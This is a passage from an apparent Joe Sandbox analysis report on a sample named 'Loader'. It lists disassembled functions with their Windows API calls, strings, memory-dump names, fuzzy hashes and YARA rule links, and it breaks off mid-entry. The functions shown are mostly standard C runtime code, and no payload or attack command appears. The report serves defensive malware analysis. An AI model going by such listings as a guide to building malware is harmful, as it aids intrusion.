Instruction ID: 28b38af8a32c483d1eaad4d6b034f7cabafc7dfb6db80621c33cf17404d59c5c
Opcode Fuzzy Hash: fb9dfed163360a23a3a05a3830e799191b3a75eec2796f34f41e5ee7d1713f08
Instruction Fuzzy Hash: 5971D175D091689FDF25AF24CC89EAEB7B9BF49304F9442D9F048A7211DB345E849F10

Function 0092F9D9 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0092F9E5
IsDebuggerPresent.KERNEL32 ref: 0092FAB1
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0092FACA
UnhandledExceptionFilter.KERNEL32(?), ref: 0092FAD4

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: a989e965de73543617cbbbc934d9978363227b78da2a7055348a6b84ffcb4edf
Instruction ID: f839d7df67ff2ea49d092e2eba4747eacaa34f92656bca537b0edc27c73cbcfd
Opcode Fuzzy Hash: a989e965de73543617cbbbc934d9978363227b78da2a7055348a6b84ffcb4edf
Instruction Fuzzy Hash: 9231F8B5D053289BDF20DFA5DD497CDBBB8AF08300F1045AAE40CAB250E7719A849F45

Function 0094ABD2 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,7FFFFFFF,?,0094ABBD,?,?,?,?,?,?,?,?,?,?), ref: 0094AC78
__alloca_probe_16.LIBCMT ref: 0094AD33
__alloca_probe_16.LIBCMT ref: 0094ADC2
__freea.LIBCMT ref: 0094AE0D
__freea.LIBCMT ref: 0094AE13
__freea.LIBCMT ref: 0094AE49
__freea.LIBCMT ref: 0094AE4F
__freea.LIBCMT ref: 0094AE5F

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 696cb4200a5372cecd2a0a7a503a9fe8eba6d3d590d31a6042c12bedcecc6df5
Instruction ID: ac16e40c764591f6632fd173378048ae33536e511e4a799889bc2a2b0fe7a947
Opcode Fuzzy Hash: 696cb4200a5372cecd2a0a7a503a9fe8eba6d3d590d31a6042c12bedcecc6df5
Instruction Fuzzy Hash: 7671457298021AAFDF219F949C81FBF77BD9F88311F290459F954B7282D7359C408BA2

Function 0092FF19 Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 0092FF60
__alloca_probe_16.LIBCMT ref: 0092FF8C
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 0092FFCB
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0092FFE8
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00930027
__alloca_probe_16.LIBCMT ref: 00930044
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 00930086
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 009300A9

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: d39713483e30036d995867c45598871dbb4eb46365247d3705966feb33caba6b
Instruction ID: ee999a9ef3234c13e5a853d667ba9e1e81bb5b3c031d827fc850e288f501ae21
Opcode Fuzzy Hash: d39713483e30036d995867c45598871dbb4eb46365247d3705966feb33caba6b
Instruction Fuzzy Hash: C9519972A0021AAFEB249F61DC55FAB7BB9EF84751F244429F914EA190DB74CC40DFA0

Function 0093EF66 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0093EFEC

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: a643fc62b7b2457b9ae550856610bcc28d146668833daaf95fb6042a2f580310
Instruction ID: 309372e1b85383027f5ab3e61afc9e9d3cd39e927fa71fceb5061bf3fbab3fd7
Opcode Fuzzy Hash: a643fc62b7b2457b9ae550856610bcc28d146668833daaf95fb6042a2f580310
Instruction Fuzzy Hash: 1BB15672E04355EFDB158FA8CC91BAF7BA9EF59310F144175E814AB282D6749D01CFA0

Function 00930E30 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00930E67
___except_validate_context_record.LIBVCRUNTIME ref: 00930E6F
_ValidateLocalCookies.LIBCMT ref: 00930EF8
__IsNonwritableInCurrentImage.LIBCMT ref: 00930F23
_ValidateLocalCookies.LIBCMT ref: 00930F78

Strings

csm, xrefs: 00930F0D

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: d0ee12062e6cad934c549d305aadf4b93fbda64d5c833552a195fbf998267a10
Instruction ID: dc4f7d723b56022951349d52ed5de25e9776a3fcc1ff5368f708d17582526add
Opcode Fuzzy Hash: d0ee12062e6cad934c549d305aadf4b93fbda64d5c833552a195fbf998267a10
Instruction Fuzzy Hash: 7A41C134A002199BCF20EF69C895A9EBBA5EFC4324F148555F9189B392D731EE05CF91

Function 0093CFFB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,?,?,?,BB40E64E,?,0093D10A,00921170,0092ABA8,?,?), ref: 0093D0BC

Strings

ext-ms-, xrefs: 0093D066
api-ms-, xrefs: 0093D052

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 5b303bd13b3eab0dc19e34b9bd4e972680ab6d6bcc8e5fa19373778bd64c5abb
Instruction ID: 50e4c0312ccbe0be5f2c6e192723abfd401000311d5db4a982b8b861695c0767
Opcode Fuzzy Hash: 5b303bd13b3eab0dc19e34b9bd4e972680ab6d6bcc8e5fa19373778bd64c5abb
Instruction Fuzzy Hash: E4210531B03310ABC7359B72FC51A6A33AC9B81B61F250610E955A72D0DB30ED02DBD1

Function 00930170 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00930176
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00930184
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 00930195

Strings

GetSystemTimePreciseAsFileTime, xrefs: 0093017E
kernel32.dll, xrefs: 00930171
GetTempPath2W, xrefs: 0093018A

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: 05b0a231592d6d5eb061e52f4506b444e09de8878fef4f775197cd1509362463
Instruction ID: 3e2c8d6c8a933c610e6dcb376aa83955c6ed738acd1eaa683c4302c31aeafba7
Opcode Fuzzy Hash: 05b0a231592d6d5eb061e52f4506b444e09de8878fef4f775197cd1509362463
Instruction Fuzzy Hash: F1D05E7153A320BF8350DF7FFC0D8857A64EB847573420165FD81D3214DB7004849794

Function 00945071 Relevance: 9.3, APIs: 6, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44112cdf27bd4410dd2d01fe9c2e57266c3072c7de5b903ae712f1479b804564
Instruction ID: fcf05ca5ac0fb5d35b8737717aa2b0c51d67ff2ec5dfff3efc36c73c20222655
Opcode Fuzzy Hash: 44112cdf27bd4410dd2d01fe9c2e57266c3072c7de5b903ae712f1479b804564
Instruction Fuzzy Hash: F7B104B4A08A49EFDB21DFE9C880FAEBBB5AF85344F154158E41197293C7B09941CFA0

Function 00929CD0 Relevance: 9.1, APIs: 6, Instructions: 125COMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 00929E37
std::_Throw_Cpp_error.LIBCPMT ref: 00929E48
std::_Throw_Cpp_error.LIBCPMT ref: 00929E5C
std::_Throw_Cpp_error.LIBCPMT ref: 00929E7D
std::_Throw_Cpp_error.LIBCPMT ref: 00929E8E
std::_Throw_Cpp_error.LIBCPMT ref: 00929EA6

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: Cpp_errorThrow_std::_
String ID:
API String ID: 2134207285-0
Opcode ID: 2a4bf6f0f59a9c0a4573baba9315835f35123cd182a05518b2e58b812665c8b0
Instruction ID: f17e8e28457241dcd3823af1869ac1ec060c1508bd3be849648f3fc04e849a5d
Opcode Fuzzy Hash: 2a4bf6f0f59a9c0a4573baba9315835f35123cd182a05518b2e58b812665c8b0
Instruction Fuzzy Hash: 5841E5B1900720CBDB30DB64A9467AFB7F9BF86320F04062DE57A262DAD7746500CB52

Function 0093ADD7 Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0093ADCE,00930850,0092B86F,BB40E64E,?,?,?,?,0094C0BA,000000FF), ref: 0093ADE5
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0093ADF3
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0093AE0C
SetLastError.KERNEL32(00000000,?,0093ADCE,00930850,0092B86F,BB40E64E,?,?,?,?,0094C0BA,000000FF), ref: 0093AE5E

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 30f2df3fd78e922b919e47295783ff68cbc09be37fd02566fb9a7040db7fd327
Instruction ID: a04c1bb0995379b5b4429e794afa58314dc0ed7ec469f782a2ac2215635715ee
Opcode Fuzzy Hash: 30f2df3fd78e922b919e47295783ff68cbc09be37fd02566fb9a7040db7fd327
Instruction Fuzzy Hash: 8201AC7711D7159DE73427B6BC95E2B27E8DB53B76B20032AF660450E1EF618C026B42

Function 0093B65E Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMON

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0093B77D
CallUnexpected.LIBVCRUNTIME ref: 0093B9F6

Strings

csm, xrefs: 0093B708
csm, xrefs: 0093B69B
csm, xrefs: 0093B7B4

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: 798925fd6bb7ecaac27e5db3d2be8beaec91a231f89d4b1dae97a1163cea2880
Instruction ID: f469aad745b3960b36961a0ddc208c05e085dde2a27ee1ecc847c20d0cb87aff
Opcode Fuzzy Hash: 798925fd6bb7ecaac27e5db3d2be8beaec91a231f89d4b1dae97a1163cea2880
Instruction Fuzzy Hash: 35B1CC75800209EFCF18DFA4C881AAEBBB9FF84315F10455AFA15AB216D734DA51CF92

Function 0092BF85 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

std::_Ref_count_base::_Decref.LIBCPMT ref: 0092C034
std::_Ref_count_base::_Decref.LIBCPMT ref: 0092C118

Strings

MOC, xrefs: 0092BF8F
csm, xrefs: 0092BFA7
RCC, xrefs: 0092BF9B

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: DecrefRef_count_base::_std::_
String ID: MOC$RCC$csm
API String ID: 1456557076-2671469338
Opcode ID: 24bf981d91e1689b8e4f979c5ac56acbcc658a580804d68d9633e8711946119c
Instruction ID: 99a43db571bcf86c6fffa31daeb98139f0cd99a62ab6ca2b7cf4aa77657b3384
Opcode Fuzzy Hash: 24bf981d91e1689b8e4f979c5ac56acbcc658a580804d68d9633e8711946119c
Instruction Fuzzy Hash: 8241BAB5800214DFCF24EF68E545AAEB7F9AF88300F58806EE445A7256C734AA44CB51

Function 009356B4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,?,?,00000000,0094BF84,000000FF,?,00935775,0093565C,?,00935811,00000000), ref: 009356E9
GetProcAddress.KERNEL32(00000000,CorExitProcess,?,?,00000000,0094BF84,000000FF,?,00935775,0093565C,?,00935811,00000000), ref: 009356FB
FreeLibrary.KERNEL32(00000000,?,?,00000000,0094BF84,000000FF,?,00935775,0093565C,?,00935811,00000000), ref: 0093571D

Strings

mscoree.dll, xrefs: 009356E2
CorExitProcess, xrefs: 009356F3

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 83969f3a92913ea3967f170b0d581d26a87ebd5a2dfda738a7e1c8882eadca6f
Instruction ID: 098dcab3eb51cd47c21b0a3688c060c76b7316d1dfeed41f468e80aa48f010c4
Opcode Fuzzy Hash: 83969f3a92913ea3967f170b0d581d26a87ebd5a2dfda738a7e1c8882eadca6f
Instruction Fuzzy Hash: 8E01A231964719EFDB01CF55CC05BAEB7B8FB48B1AF010525F852A2290DB759900CB90

Function 0093D7DA Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0093D85F
__alloca_probe_16.LIBCMT ref: 0093D928
__freea.LIBCMT ref: 0093D98F

Part of subcall function 0093C001: HeapAlloc.KERNEL32(00000000,00000018,00000000,?,0092A81D,00000018,?,00923EEA,00000018,00000000), ref: 0093C033

__freea.LIBCMT ref: 0093D9A2
__freea.LIBCMT ref: 0093D9AF

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 54d75b4f3754a3723fb12adef2dba45e19932529ea1e7f28ae67128e6c6e4d28
Instruction ID: feea670c41c1c43a184aee5dda77e098cb3f219aa04ed9ccd9bcf52558caff58
Opcode Fuzzy Hash: 54d75b4f3754a3723fb12adef2dba45e19932529ea1e7f28ae67128e6c6e4d28
Instruction Fuzzy Hash: 3451B1B6602206AFEB21AF65EC51FBB36ADEF84710F150528FD04E6151EB75DC108FA2

Function 0092F0E1 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32(?,0092F0BE,00928FD0,00000000,?,00928FD0,0092A490), ref: 0092F0F5
AcquireSRWLockExclusive.KERNEL32(00928FD8), ref: 0092F114
AcquireSRWLockExclusive.KERNEL32(00928FD8,0092A490,?), ref: 0092F142
TryAcquireSRWLockExclusive.KERNEL32(00928FD8,0092A490,?), ref: 0092F19D
TryAcquireSRWLockExclusive.KERNEL32(00928FD8,0092A490,?), ref: 0092F1B4

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: 5a1e92711aa70f57d82eb04563303efe76d1ff6a00f7162b61cc5bf1940d85ef
Instruction ID: 30c7f73e37054134540e3e99747577cec98e8e08b0b17e292ab4a1acc9d52b8a
Opcode Fuzzy Hash: 5a1e92711aa70f57d82eb04563303efe76d1ff6a00f7162b61cc5bf1940d85ef
Instruction Fuzzy Hash: 84417C3150872ADFCB24DF65E8A096AB3F9FF04311BA04A39D456C794AD730F9A4CB50

Function 00923E10 Relevance: 7.6, APIs: 5, Instructions: 111COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00923E45
std::_Lockit::_Lockit.LIBCPMT ref: 00923E5F
std::_Lockit::~_Lockit.LIBCPMT ref: 00923E80
__Getctype.LIBCPMT ref: 00923F32
std::_Lockit::~_Lockit.LIBCPMT ref: 00923F78

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Getctype
String ID:
API String ID: 3087743877-0
Opcode ID: c87ee63dd5028d964780eee942c00e084a2597e95b68bf0bd1000bee52dc7bf5
Instruction ID: 166dbd62108c59295251ec386132e65fcc1fba1655644ba6d9e3ba2dc6b19e68
Opcode Fuzzy Hash: c87ee63dd5028d964780eee942c00e084a2597e95b68bf0bd1000bee52dc7bf5
Instruction Fuzzy Hash: 06418DB1D003248FCB10DF95E841BAEBBB5FF88710F048119D8156B399DB38AA05CF91

Function 0092D5B2 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0092D5B9
std::_Lockit::_Lockit.LIBCPMT ref: 0092D5C3
int.LIBCPMT ref: 0092D5DA

Part of subcall function 0092C2D5: std::_Lockit::_Lockit.LIBCPMT ref: 0092C2E6
Part of subcall function 0092C2D5: std::_Lockit::~_Lockit.LIBCPMT ref: 0092C300

codecvt.LIBCPMT ref: 0092D5FD
std::_Lockit::~_Lockit.LIBCPMT ref: 0092D634

Memory Dump Source

